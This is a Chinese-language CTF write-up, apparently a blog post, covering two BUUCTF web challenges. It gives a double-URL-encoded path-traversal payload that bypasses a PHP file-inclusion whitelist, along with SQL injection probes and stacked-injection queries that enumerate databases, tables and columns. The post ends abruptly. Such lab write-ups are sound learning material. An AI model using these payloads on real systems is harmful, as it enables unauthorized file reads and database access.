title: BUUCTF WriteUp
date: 2021-01-16 17:44:59
tags: CTF WriteUP
WEB
[HCTF 2018]WarmUp
启动环境,打开网址是一张滑稽,没什么用,看一下源码,发现有注释。
访问source.php,直接给了源码,进行代码审计。
分两块,第一块是emmm::checkFile,里面做了一些判断。
第二块是一个include,文件包含,我们要绕过验证,也就是上面的checkFile方法。
hint.php
include触发的三个判断条件全为真时,include才执行。
checkFile为真
第一个if,page需要设置并且为字符串
第二个if,page需要在白名单中
_page是page从开始到?的位置截取的一段子串
第三个if,_page需要在白名单中
_page进行url解码
_page再进行相同截取
第四个if,_page需要在白名单中
所以我们构造payload的时候,需要反着来构造,需要截取,就添加,需要url解码,我们就进行编码
首先构造以下命令,保证最后_page在白名单中
?file=source.php
接下来构造出include的flag
?flie=source.php?/../../../../../../../ffffllllaaaagggg
然后url编码两次
?file=source.php%253F/../../../../../../../ffffllllaaaagggg
payload就构造完成了。
[强网杯 2019]随便注
开局就是一个输入框,先看看简单的注入,判断出闭合符为单引号
1' //报错
1'# //正常
1' and 1=1# //正常
1' and 1=2# //正常,false
接下来获得列数,列数为2
1' order by 1#
1' order by 2#
1' order by 3# //报错
尝试用select,发现被过滤
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
到这里就没思路了,看wp,是堆叠注入,就是一次执行多条命令,之间用分号分隔
1';show databases;#
下来查表
1';show tables;#
下来查字段
1';show columns from `1919810931114514`;#
<